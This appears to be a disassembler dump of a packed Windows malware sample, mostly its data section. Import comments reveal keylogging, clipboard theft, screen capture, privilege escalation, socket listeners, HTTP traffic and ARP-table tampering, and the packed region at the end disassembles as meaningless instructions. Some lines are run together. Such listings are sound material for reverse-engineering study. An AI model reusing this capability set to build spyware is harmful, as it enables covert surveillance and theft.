dword_4CDC20	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_409A1D+341r ...
dword_4CDC24	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_409A1D+3EFr ...
dword_4CDC28	dd 0							; sub_409A1D+C37r
dword_4CDC2C	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_409A1D+888r ...
dword_4CDC30	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_409A1D+227r ...
dword_4CDC34	dd 0		; resolved to->USER32.OpenClipboard					; sub_409A1D+1D2r ...
dword_4CDC38	dd 0		; resolved to->WININET.InternetConnectA					; sub_409A1D+898r ...
dword_4CDC3C	dd 0		; resolved to->WSOCK32.recvfrom					; sub_409A1D+774r ...
dword_4CDC40	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_409A1D+2BFw ...
dword_4CDC44	dd 0		; resolved to->WSOCK32.setsockopt					; sub_409A1D+79Cr ...
dword_4CDC48	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_409A1D+334r ...
dword_4CDC4C	dd 0		; resolved to->WS2_32.select					; sub_409A1D+784r ...
dword_4CDC50	dd 0		; resolved to->GDI32.CreateDCA					; sub_409A1D+4AEr ...
dword_4CDC54	dd 0		; resolved to->USER32.GetClipboardData					; sub_409A1D+1DAr ...
dword_4CDC58	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_409A1D+3BAr ...
dword_4CDC5C	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CDC60	dd 0		; resolved to->WS2_32.ntohl					; sub_409A1D+748r ...
dword_4CDC64	dd 0		; resolved to->WS2_32.ntohs					; sub_401B66+5077r ...
dword_4CDC68	dd 0		; resolved to->KERNEL32.Process32First					; sub_409A1D+C2r ...
dword_4CDC6C	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_409A1D+4CBr ...
dword_4CDC70	dd 0		; resolved to->USER32.FindWindowA					; sub_409A1D+1BAr ...
dword_4CDC74	dd 0							; sub_409A1D+A5Br ...
dword_4CDC78	dd 0		; resolved to->WS2_32.gethostname					; sub_409A1D+7ACr ...
dword_4CDC7C	dd 0		; resolved to->WSOCK32.recv					; sub_401B66+50DAr ...
dword_4CDC80	dd 0							; sub_409A1D+C47r
dword_4CDC84	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_409A1D+BAr ...
dword_4CDC88	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_409A1D+298w ...
dword_4CDC8C	dd 0		; resolved to->WS2_32.listen					; sub_409A1D+78Cr ...
dword_4CDC90	dd 0		; resolved to->WS2_32.bind					; sub_409A1D+77Cr ...
dword_4CDC94	dd 0							; sub_409A1D+C92w
dword_4CDC98	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_416975+4C9r ...
dword_4CDC9C	dd 0		dword_4CDCA0	dd 0							; sub_409A1D+C22r
dword_4CDCA4	dd 0		; resolved to->WS2_32.inet_addr					; sub_401B66+5EBCr ...
dword_4CDCA8	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_409A1D+4BBr ...
dword_4CDCAC	dd 0		; resolved to->GDI32.BitBlt					; sub_409A1D+4E3r ...
dword_4CDCB0	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_409A1D+4C3r ...
dword_4CDCB4	dd 0		; resolved to->WS2_32.send					; sub_401B66+50F7r ...
dword_4CDCB8	dd 0		; resolved to->USER32.CloseClipboard					; sub_409A1D+1E2r ...
dword_4CDCBC	dd 0							; sub_409A1D+A53r ...
dword_4CDCC0	dd 0		; resolved to->USER32.SendMessageA					; sub_409A1D+1ADr ...
dword_4CDCC4	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_409A1D+E2r ...
dword_4CDCC8	dd 0		; resolved to->WS2_32.sendto					; sub_409A1D+764r ...
dword_4CDCCC	dd 0							; sub_409A1D+B5Fr
dword_4CDCD0	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_419E0C+55r
dword_4CDCD4	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_409A1D+2D3r ...
dword_4CDCD8	dd 0		; resolved to->SHELL32.SHChangeNotifydword_4CDCDC	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40AA3C+8Fr
dword_4CDCE0	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_409A1D+AE6r ...
dword_4CDCE4	dd 0		; resolved to->WS2_32.socket					; sub_401B66+5056r ...
dword_4CDCE8	dd 0		; resolved to->WS2_32.gethostbyname					; sub_401B66+785Cr ...
dword_4CDCEC	dd 0							; sub_409A1D+C2Fr
dword_4CDCF0	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_401B66+5A19r ...
dword_4CDCF4	dd 0							; sub_409A1D+A2Br ...
dword_4CDCF8	dd 0		; resolved to->WS2_32.accept					; sub_409A1D+794r ...
dword_4CDCFC	dd 0		; resolved to->WS2_32.closesocket					; sub_401891+D0r ...
dword_4CDD00	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_409A1D+70Cr ...
dword_4CDD04	dd 0							; sub_409A1D+B57r
dword_4CDD08	dd 0		; resolved to->WS2_32.WSASocketA					; sub_409A1D+6C4r ...
dword_4CDD0C	dd 0							; sub_409A1D+B4Ar ...
dword_4CDD10	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_409A1D+31w ...
dword_4CDD14	dd 0		; resolved to->USER32.DestroyWindow					; sub_409A1D+1CAr ...
dword_4CDD18	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409A1D+93Br ...
dword_4CDD1C	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_409A1D+EAr ...
dword_4CDD20	dd 0							; sub_409A1D+12Bw ...
dword_4CDD24	dd 0							; sub_40A6D9+1Cr
dword_4CDD28	dd 0							; sub_409A1D:loc_409C72w ...
dword_4CDD2C	dd 0							; sub_40A6D9+50r
dword_4CDD30	dd 0							; sub_401B66+4436r ...
dword_4CDD34	dd 0							; sub_40A6D9+84r
dword_4CDD38	dd 0							; sub_40A6D9:loc_40A789r
dword_4CDD3C	dd 0							; sub_40A6D9+B8r
dword_4CDD40	dd 0							; sub_40A6D9:loc_40A7BDr
dword_4CDD44	dd 0							; sub_40A6D9+ECr
dword_4CDD48	dd 0							; sub_409A1D:loc_40A2DDw ...
dword_4CDD4C	dd 0							; sub_40A6D9+120r
dword_4CDD50	dd 0							; sub_409A1D:loc_40A371w ...
dword_4CDD54	dd 0							; sub_40A6D9+154r
dword_4CDD58	dd 0							; sub_409A1D:loc_40A48Dw ...
dword_4CDD5C	dd 0							; sub_40A6D9+188r
dword_4CDD60	dd 0							; sub_40A6D9:loc_40A88Dr
dword_4CDD64	dd 0							; sub_40A6D9+1BCr
dword_4CDD68	dd 0							; sub_40A6D9:loc_40A8C1r
dword_4CDD6C	dd 0							; sub_40A6D9+1F0r
dword_4CDD70	dd 0							; sub_40A6D9:loc_40A8F5r
dword_4CDD74	dd 0							; sub_40A6D9+224r
dword_4CDD78	dd 0							; sub_40A6D9:loc_40A929r
dword_4CDD7C	dd 0							; sub_40A6D9+258r
dword_4CDD80	dd 0							; sub_40A6D9:loc_40A95Dr
dword_4CDD84	dd 0							; sub_40A6D9+28Cr
dword_4CDD88	dd 0							; sub_40A6D9:loc_40A991r
dword_4CDD8C	dd 0							; sub_40A6D9+2C0r
dword_4CDD90	dd 6 dup(0)	dword_4CDDA8	dd 0							; sub_40BE71+92w ...
dword_4CDDAC	dd 0							; sub_40C1BE+D9w ...
		dd 7FEh	dup(0)
dword_4CFDA8	dd 6 dup(0)						; sub_40BFAA+129o ...
dword_4CFDC0	dd 0							; sub_40B945+34Do
dword_4CFDC4	dd 0							; sub_40B945+35Fr
dword_4CFDC8	dd 0		dword_4CFDCC	dd 0							; sub_40B945+320r
dword_4CFDD0	dd 20h dup(0)						; sub_40B945+307o
dword_4CFE50	dd 0		dword_4CFE54	dd 0							; sub_40B945+311w
dword_4CFE58	dd 0				align 10h
dword_4CFE60	dd 0							; sub_40B945+FEo
dword_4CFE64	dd 41h dup(0)	dword_4CFF68	dd 41h dup(0)	dword_4D006C	dd 0							; sub_40B945+110r
dword_4D0070	dd 0		dword_4D0074	dd 0							; sub_40B945+D1r
dword_4D0078	dd 20h dup(0)						; sub_40B945+B7o
dword_4D00F8	dd 0		dword_4D00FC	dd 0							; sub_40B945+C1w
dword_4D0100	dd 0				align 8
dword_4D0108	dd 0							; sub_40B945+226o
dword_4D010C	dd 41h dup(0)	dword_4D0210	dd 41h dup(0)	dword_4D0314	dd 0							; sub_40B945+238r
dword_4D0318	dd 0		dword_4D031C	dd 0							; sub_40B945+1F9r
dword_4D0320	dd 20h dup(0)						; sub_40B945+1DFo
dword_4D03A0	dd 0		dword_4D03A4	dd 0							; sub_40B945+1E9w
dword_4D03A8	dd 0				align 10h
dword_4D03B0	dd 0							; sub_40B945+467o
dword_4D03B4	dd 0A2h	dup(0)	dword_4D063C	dd 41h dup(0)	dword_4D0740	dd 0							; sub_40B945+41Ar
		align 8
dword_4D0748	dd 0							; sub_40B945+479r
dword_4D074C	dd 0		dword_4D0750	dd 0		dword_4D0754	dd 0				dd 0
dword_4D075C	dd 0		dword_4D0760	dd 0							; sub_40B597+31r ...
dword_4D0764	dd 0							; sub_40B597+25r ...
dword_4D0768	dd 80h dup(0)	dword_4D0968	dd 2 dup(0)	dword_4D0970	dd 0							; sub_40D86F+2D9o
dword_4D0974	dd 3 dup(0)						; sub_40E453+EAo ...
byte_4D0980	db 0			; DATA XREF: .packed:0040EBD5o
					; .packed:0040EC1Ar
		align 4
		dd 3Fh dup(0)
dword_4D0A80	dd 2 dup(0)	dword_4D0A88	dd 0							; sub_40EDB1+BCo ...
dword_4D0A8C	dd 0							; sub_40EDB1+DAr ...
dword_4D0A90	dd 0							; sub_40EDB1+CFr ...
dword_4D0A94	dd 0							; sub_40EDB1+95o ...
dword_4D0A98	dd 0							; sub_40ED66+3Dr ...
dword_4D0A9C	dd 0							; sub_40EF86+10w ...
dword_4D0AA0	dd 0							; sub_40EF9D+27Cw
dword_4D0AA4	dd 0							; sub_40F83F+51r ...
		dd 0
dword_4D0AAC	dd 0				dd 0
dword_4D0AB4	dd 0							; sub_412995+9o
byte_4D0AB8	db 0			; DATA XREF: sub_4134C5+1C1w
					; sub_4134C5+2C0o
		align 2
word_4D0ABA	dw 0			; DATA XREF: sub_4134C5+1D1w
word_4D0ABC	dw 0			; DATA XREF: sub_4134C5+1D7w
word_4D0ABE	dw 0			; DATA XREF: sub_4134C5+1DEw
byte_4D0AC0	db 0			; DATA XREF: sub_4134C5+1E5w
byte_4D0AC1	db 0			; DATA XREF: sub_4134C5+1ECw
word_4D0AC2	dw 0			; DATA XREF: sub_4134C5+1F2w
dword_4D0AC4	dd 0							; sub_4134C5+23Ew
dword_4D0AC8	dd 0		byte_4D0ACC	db 0			; DATA XREF: sub_4134C5+258w
byte_4D0ACD	db 0			; DATA XREF: sub_4134C5+26Bw
word_4D0ACE	dw 0			; DATA XREF: sub_4134C5+283w
word_4D0AD0	dw 0			; DATA XREF: sub_4134C5+292w
word_4D0AD2	dw 0			; DATA XREF: sub_4134C5+28Aw
dword_4D0AD4	dd 101h	dup(0)	dword_4D0ED8	dd 80h dup(0)						; sub_401B66:loc_404B35o ...
byte_4D10D8	db 0			; DATA XREF: sub_414D4E+19Fw
					; sub_414D4E+278o
		align 2
word_4D10DA	dw 0			; DATA XREF: sub_414D4E+1ACw
word_4D10DC	dw 0			; DATA XREF: sub_414D4E+1B6w
word_4D10DE	dw 0			; DATA XREF: sub_414D4E+1BFw
byte_4D10E0	db 0			; DATA XREF: sub_414D4E+1C6w
byte_4D10E1	db 0			; DATA XREF: sub_414D4E+1CDw
word_4D10E2	dw 0			; DATA XREF: sub_414D4E+1D4w
dword_4D10E4	dd 0		dword_4D10E8	dd 0		word_4D10EC	dw 0			; DATA XREF: sub_414D4E+242w
word_4D10EE	dw 0			; DATA XREF: sub_414D4E+22Aw
word_4D10F0	dw 0			; DATA XREF: sub_414D4E+254w
word_4D10F2	dw 0			; DATA XREF: sub_414D4E+1F5w
dword_4D10F4	dd 100h	dup(0)	dword_4D14F4	dd 0							; sub_401B66+2F18r ...
		dd 0
byte_4D14FC	db 0			; DATA XREF: sub_415240+22Ao
					; sub_415240+239w ...
byte_4D14FD	db 0			; DATA XREF: sub_415240+24Dw
word_4D14FE	dw 0			; DATA XREF: sub_415240+27Ew
word_4D1500	dw 0			; DATA XREF: sub_415240+265w
					; sub_415240:loc_4155F9w
word_4D1502	dw 0			; DATA XREF: sub_415240+284w
byte_4D1504	db 0			; DATA XREF: sub_415240+271w
byte_4D1505	db 0			; DATA XREF: sub_415240+246w
word_4D1506	dw 0			; DATA XREF: sub_415240+3D9w
					; sub_415240+403w
dword_4D1508	dd 0							; sub_415240+383r
dword_4D150C	dd 0		word_4D1510	dw 0			; DATA XREF: sub_415240+37Dw
					; sub_415240+3CFo
word_4D1512	dw 0			; DATA XREF: sub_415240+31Ew
					; sub_415240+343r ...
dword_4D1514	dd 0							; sub_415240+3C0w
dword_4D1518	dd 0							; sub_415240+394w ...
byte_4D151C	db 0			; DATA XREF: sub_415240+2FAr
					; sub_415240+308w
byte_4D151D	db 0			; DATA XREF: sub_415240+2C4w
					; sub_415240+38Dw ...
word_4D151E	dw 0			; DATA XREF: sub_415240+2D2w
word_4D1520	dw 0			; DATA XREF: sub_415240+3E0w
					; sub_415240+411w
word_4D1522	dw 0			; DATA XREF: sub_415240+317w
word_4D1524	dw 0			; DATA XREF: sub_415240+349w
					; sub_415240+419o
word_4D1526	dw 0			; DATA XREF: sub_415240+358w
					; sub_415240+3F0w
dword_4D1528	dd 0				dd 2 dup(0)
dword_4D1534	dd 0							; sub_415240+3FEo
dword_4D1538	dd 0		byte_4D153C	db 0			; DATA XREF: sub_415240+32Aw
byte_4D153D	db 0			; DATA XREF: sub_415240+330w
word_4D153E	dw 0			; DATA XREF: sub_415240+33Dw
dword_4D1540	dd 6 dup(0)	dword_4D1558	dd 0							; sub_415240+422r
		align 10h
dword_4D1560	dd 100h	dup(0)						; sub_415240+465o
dword_4D1960	dd 9FCh	dup(0)						; sub_415845o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .packed:off_43A4F4o
		dd 603h	dup(0)
dword_4D5960	dd 0							; sub_415845+Eo ...
dword_4D5964	dd 0Dh dup(0)	dword_4D5998	dd 80h dup(0)	dword_4D5B98	dd 200h	dup(0)						; sub_4177CF+DDo ...
dword_4D6398	dd 200h	dup(0)						; sub_4177CF+F4o ...
dword_4D6B98	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_417646+94r
dword_4D6B9C	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_417AA0+55r ...
dword_4D6BA0	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_417646+D6r ...
dword_4D6BA4	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_417646+35r ...
dword_4D6BA8	dd 80h dup(0)	dword_4D6DA8	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_417646+A2r
dword_4D6DAC	dd 0							; sub_417474+103r ...
dword_4D6DB0	dd 0							; sub_417973+107w
dword_4D6DB4	dd 0							; sub_417973+10Dw ...
dword_4D6DB8	dd 0							; sub_417AA0+4Fr
		align 10h
dword_4D6DC0	dd 0							; sub_417E12:loc_417F91w ...
dword_4D6DC4	dd 0							; sub_417CD6+12o ...
		dd 0
dword_4D6DCC	dd 0							; sub_417FB1+3Ar
		dd 7Fh dup(0)
dword_4D6FCC	dd 0							; sub_417FB1+4Aw
		dd 1944h dup(0)
dword_4DD4E0	dd 0							; sub_418827+6Ao
dword_4DD4E4	dd 7Fh dup(0)						; sub_417CD6+3Co
dword_4DD6E0	dd 18h dup(0)						; sub_418FBC+131o ...
dword_4DD740	dd 80h dup(0)						; sub_419D4E+A5o
dword_4DD940	dd 0							; sub_419339+4Dr ...
		align 8
dword_4DD948	dd 18h dup(0)						; sub_419C1A+12Do
dword_4DD9A8	dd 80h dup(0)						; sub_41927A+7Do ...
byte_4DDBA8	db 0			; DATA XREF: sub_419339+29r
					; sub_419339+34w
		align 10h
dword_4DDBB0	dd 80h dup(0)						; sub_419590+88o ...
dword_4DDDB0	dd 80h dup(0)						; sub_418E93+50o ...
dword_4DDFB0	dd 0							; sub_41A2BE+54r ...
dword_4DDFB4	dd 0							; sub_41A2BE+37r ...
dword_4DDFB8	dd 0							; sub_41A413+83o
dword_4DDFBC	dd 0							; sub_41A413+11Bw
dword_4DDFC0	dd 0Dh dup(0)						; sub_41A413:loc_41A550o
dword_4DDFF4	dd 0							; sub_41A2BE+ECr ...
dword_4DDFF8	dd 0Dh dup(0)	dword_4DE02C	dd 0							; sub_41D9ED:loc_41DA69w ...
dword_4DE030	dd 0							; sub_41E272:loc_41E30Cw ...
dword_4DE034	dd 0		dword_4DE038	dd 0A28h	dword_4DE03C	dd 501h		dword_4DE040	dd 5		dword_4DE044	dd 1		dword_4DE048	dd 1							; sub_423867+91w
dword_4DE04C	dd 371400h						; sub_401252+30Fr ...
		dd 0
dword_4DE054	dd 371428h						; sub_4262F7+9r ...
dword_4DE058	dd 0		dword_4DE05C	dd 0							; sub_4266C5+4r ...
		dd 0
off_4DE064	dd offset aCM_unpackerPac ; DATA XREF: sub_423867+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DE06C	db 0			; DATA XREF: sub_41BFA3+2Dw
					; sub_422FD0+5r
		align 10h
dword_4DE070	dd 0		dword_4DE074	dd 0							; sub_41BFA3+8Bw
dword_4DE078	dd 0							; sub_41C8C4+91w
		align 10h
dword_4DE080	dd 0				align 8
dword_4DE088	dd 0							; sub_41D851+A4w
		align 10h
word_4DE090	dw 0			; DATA XREF: sub_41D851+55r
					; sub_41D851+9Ao
word_4DE092	dw 0			; DATA XREF: sub_41D851+48r
		db 2 dup(0)
word_4DE096	dw 0			; DATA XREF: sub_41D851+3Br
word_4DE098	dw 0			; DATA XREF: sub_41D851+2Er
word_4DE09A	dw 0			; DATA XREF: sub_41D851+21r
		align 10h
dword_4DE0A0	dd 0							; sub_4237AE:loc_4237C0r ...
		align 8
dword_4DE0A8	dd 0		dword_4DE0AC	dd 0							; sub_41F429+2Dw ...
dword_4DE0B0	dd 0		dword_4DE0B4	dd 0							; sub_41B9D2:loc_41BC0Fr ...
dword_4DE0B8	dd 1							; sub_420842+4w ...
dword_4DE0BC	dd 0				dd 0
dword_4DE0C4	dd 0							; sub_4222DD+1Ar ...
byte_4DE0C8	db 0			; DATA XREF: sub_4221D9+3r
					; sub_4221D9+98r ...
		align 4
dword_4DE0CC	dd 0							; sub_4223BB+21w ...
byte_4DE0D0	db 0			; DATA XREF: sub_4223BB+51w
		align 4
dword_4DE0D4	dd 0							; sub_42298C+3Ar ...
dword_4DE0D8	dd 0							; sub_42298C+43r ...
dword_4DE0DC	dd 0							; sub_422758+5r
dword_4DE0E0	dd 0		dword_4DE0E4	dd 2 dup(0)	dword_4DE0EC	dd 0							; sub_41DDAA+6Er ...
		dd 3 dup(0)
dword_4DE0FC	dd 0							; sub_41E034+BFr ...
		dd 0
dword_4DE104	dd 0							; sub_420C46:loc_420C6Fw ...
dword_4DE108	dd 1							; sub_423383+4Cw ...
dword_4DE10C	dd 0							; sub_4235D2+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423867:loc_42387Eo
					; .packed:off_4DE064o
		align 4
		dd 3Ah dup(0)
dword_4DE214	dd 1							; sub_423AB4+23w ...
dword_4DE218	dd 0		dword_4DE21C	dd 0		dword_4DE220	dd 1							; sub_424517:loc_424581w
		align 8
word_4DE228	dw 0			; DATA XREF: sub_424E19+1Ao
					; sub_424E19+46r
byte_4DE22A	db 0			; DATA XREF: sub_424E19+39r
		align 4
dword_4DE22C	dd 7 dup(0)	dword_4DE248	dd 0							; sub_424E19+5Co
dword_4DE24C	dd 0		dword_4DE250	dd 0		dword_4DE254	dd 0		dword_4DE258	dd 77C2807Ch						; sub_424F3C+38r ...
		align 10h
dword_4DE260	dd 0							; sub_42501C+63w ...
		align 8
dword_4DE268	dd 0							; sub_42501C+46r
dword_4DE26C	dd 10h dup(0)	word_4DE2AC	dw 0			; DATA XREF: sub_42527A+A8r
word_4DE2AE	dw 0			; DATA XREF: sub_42501C+54r
					; sub_42527A+DBr ...
word_4DE2B0	dw 0			; DATA XREF: sub_42527A+CAr
word_4DE2B2	dw 0			; DATA XREF: sub_42527A+D3r
					; sub_42527A:loc_42536Cr
word_4DE2B4	dw 0			; DATA XREF: sub_42527A+C0r
word_4DE2B6	dw 0			; DATA XREF: sub_42527A+B8r
word_4DE2B8	dw 0			; DATA XREF: sub_42527A+B0r
word_4DE2BA	dw 0			; DATA XREF: sub_42527A+9Er
dword_4DE2BC	dd 0		dword_4DE2C0	dd 10h dup(0)	word_4DE300	dw 0			; DATA XREF: sub_42527A+46r
word_4DE302	dw 0			; DATA XREF: sub_42501C:loc_425093r
					; sub_42527A+78r ...
word_4DE304	dw 0			; DATA XREF: sub_42527A+67r
word_4DE306	dw 0			; DATA XREF: sub_42527A+70r
					; sub_42527A:loc_4252FEr
word_4DE308	dw 0			; DATA XREF: sub_42527A+5Dr
word_4DE30A	dw 0			; DATA XREF: sub_42527A+55r
word_4DE30C	dw 0			; DATA XREF: sub_42527A+4Dr
word_4DE30E	dw 0			; DATA XREF: sub_42527A+3Er
dword_4DE310	dd 0		dword_4DE314	dd 0							; sub_42501C:loc_425168r ...
dword_4DE318	dd 0		dword_4DE31C	dd 0		; resolved to->USER32.MessageBoxA					; sub_4256B1+2Ew ...
dword_4DE320	dd 0		; resolved to->USER32.GetActiveWindow					; sub_4256B1:loc_425700r
dword_4DE324	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_4256B1+60r
dword_4DE328	dd 0		dword_4DE32C	dd 0							; sub_426185+6Do
dword_4DE330	dd 0							; sub_426185+44o
dword_4DE334	dd 0							; sub_426185+37o
dword_4DE338	dd 0							; sub_426185+51o
		align 10h
dword_4DE340	dd 0							; sub_426733+48w ...
dword_4DE344	dd 0							; sub_427228+4Cw ...
dword_4DE348	dd 0							; sub_4274B3:loc_42751Dw
byte_4DE34C	db 0			; DATA XREF: sub_40D6D6r sub_40D6D6+9w ...
		align 10h
		dd 4 dup(0)
dword_4DE360	dd 370650h						; sub_41F91C+2Ar ...
dword_4DE364	dd 3Fh dup(0)	dword_4DE460	dd 20h							; sub_41F91C+Cr ...
dword_4DE464	dd 3727A0h						; sub_41FC9D+14r ...
		dd 6 dup(0)
dword_4DE480	dd 400h	dup(0)						; .packed:0043F5C0o
dword_4DF480	dd 200h							; sub_41E3F0+56r ...
dword_4DF484	dd 4E4h							; sub_4206A9+65w ...
		align 10h
dword_4DF490	dd 3 dup(0)						; sub_4206A9+171o ...
dword_4DF49C	dd 0							; sub_4206A9+15Dw ...
byte_4DF4A0	db 0			; DATA XREF: sub_4208E8:loc_4209F4w
					; sub_4208E8:loc_420A11w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DF5A0	db 0			; DATA XREF: sub_4206A9+5Co
					; sub_4206A9+AFo ...
byte_4DF5A1	db 0			; DATA XREF: sub_41C1A1+5Dr
					; sub_4206A9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DF6A4	dd 0							; sub_4206A9+12Bw ...
dword_4DF6A8	dd 0							; sub_41ECD4+5r ...
dword_4DF6AC	dd 0							; sub_41E6A2+25Ar ...
dword_4DF6B0	dd 0							; sub_41E6A2+311w ...
dword_4DF6B4	dd 0							; sub_41E6A2+22Dr ...
dword_4DF6B8	dd 0							; sub_41E677r ...
dword_4DF6BC	dd 0							; sub_41E677+8r ...
dword_4DF6C0	dd 0							; sub_41BCE3+Fr ...
dword_4DF6C4	dd 370000h						; sub_41B9D2+C0r ...
dword_4DF6C8	dd 1							; sub_41B9D2:loc_41BA02r ...
dword_4DF6CC	dd 142340h						; sub_423756+Fr ...
dword_4DF6D0	dd 1							; sub_4262F7r
dword_4DF6D4	dd 1							; sub_420A6D+11w ...
dword_4DF6D8	dd 372718h						; sub_41D7A3+13r ...
dword_4DF6DC	dd 372718h						; sub_41BFA3+57r ...
byte_4DF6E0	db 0			; DATA XREF: sub_426FB4+15r
					; sub_426FB4+1Ew
		align 4
		dd 247h	dup(0)
		dd 4434h, 6B5Eh, 861Eh,	0C034h,	0F51Eh,	16160h,	255F0h
		dd 0
		dd 7C801D77h, 7C80ADA0h, 7C809A51h, 7C809AE4h, 0
		dd 0E0020h, 0
		dd 0FFFFFFFFh, 0E005Ch,	0E0020h, 0
		db 3 dup(0)
byte_4E004F	db 0			; DATA XREF: .packed:00433C65o
					; .packed:00434495o
		dd 5 dup(0)
		db 0
byte_4E0065	db 3 dup(0)		; CODE XREF: .packed:004E00E0j
		dd 0Dh dup(0)
		db 2 dup(0)
word_4E009E	dw 0			; CODE XREF: .packed:004E00FEj
		dd 3 dup(0)
		dd 0AD000000h, 20003E2h, 40000h, 0F2A32A00h, 96F83251h
		dd 0A6C7EF31h, 2883E2D8h, 0D88E7EADh, 6A6F9AC4h, 0CFDAh
		dd 148E108h, 7F730E9h
		db 0Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jb	short near ptr byte_4E0065
		jnz	short near ptr loc_4E0117+1
		cmp	al, 45h
		or	[ecx], bh
		dec	eax
		stc
		cmp	[ebp-10h], ah
		db	67h
		or	al, bh
		add	[ebx], dh
		rol	byte ptr [edx+53h], cl ; CODE XREF: .packed:004E0125j
		pop	es
		push	esi
		mov	esi, [eax+0Ch]
		push	edi
		inc	ecx
		fcmovbe	st, st(3)
		jecxz	short near ptr word_4E009E
		xor	[eax+edi*8], al
		jge	short loc_4E017E


loc_4E0105:				; CODE XREF: .packed:loc_4E0117j
		cli
		add	edi, esp
		mov	[ebp-2Ch], eax
		add	ecx, eax
		mov	eax, 0F868A6C3h


loc_4E0112:				; CODE XREF: .packed:004E012Cj
		loopne	loc_4E0153
		dec	ebx
		dec	edi
		push	es


loc_4E0117:				; CODE XREF: .packed:004E00E2j
		jnz	short loc_4E0105
		add	eax, 0C61C8136h
		inc	ebp
		or	edi, [esi]
		pop	ds
		pop	ebp
		ror	dh, 1
		jge	short near ptr loc_4E00F2+1
		mov	byte ptr [ebp-18h], 6
		inc	eax
		loopne	loc_4E0112
		sbb	ah, 74h
		xor	cl, [ebx]
		mov	edx, [edi+4]
		push	cs


loc_4E0137:				; CODE XREF: .packed:loc_4E0137j
		jecxz	short loc_4E0137
		rep stosd
		aaa
		mov	edx, 63EAC0Ch
		push	5
		test	[ecx-4], bh
		pop	es
		enter	59FFh, 8Bh	; CODE XREF: .packed:004E015Ej
		jnz	short near ptr loc_4E01CA+1
		pusha
		push	ebp
		or	al, 0Fh
		mov	dh, 36h


loc_4E0153:				; CODE XREF: .packed:loc_4E0112j
		add	eax, ecx
		loop	near ptr loc_4E015E+1
		or	edx, esi
		push	dword ptr [edi]
		sub	cl, [ecx+64h]


loc_4E015E:				; CODE XREF: .packed:004E0155j
		lock jnz short near ptr	loc_4E0147+3
		cmp	[ebp+3Bh], ecx
		sbb	[edi-80h], dh
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0B3F5h
; ---------------------------------------------------------------------------
		dd 9B23A872h, 0F84DB1F0h, 0C1EC5680h
		db 0E1h
byte_4E017D	db 4			; CODE XREF: .packed:004E0195j
; ---------------------------------------------------------------------------


loc_4E017E:				; CODE XREF: .packed:004E0103j
		add	ecx, ebx
		push	esp
		cmp	eax, 8D0601B2h
		cmp	al, 8Ah
		jnb	short loc_4E01A1
		and	al, 0C8h
		or	byte ptr [ebp-65h], 12h
		xor	[edx], bh
		or	dl, 0BAh
		loopne	near ptr byte_4E017D
		xchg	ecx, [ecx+0F8B3922h]
		db	3Eh
		lock popf
		out	dx, al


loc_4E01A1:				; CODE XREF: .packed:004E0188j
		or	eax, [ebx+7539F1AFh]
		or	al, 3Ch
		cmp	dword ptr [edi+1], 0FFFFFFFDh
		mov	byte ptr [eax-42h], 0A8h
		out	dx, al
		sub	esi, ecx
		mov	dword ptr [eax], 89530305h
		aaa
		sub	[eax+75h], ch
		cdq
		sub	dword ptr [edx+6AF0CC23h], 2A590805h
		dec	ebp


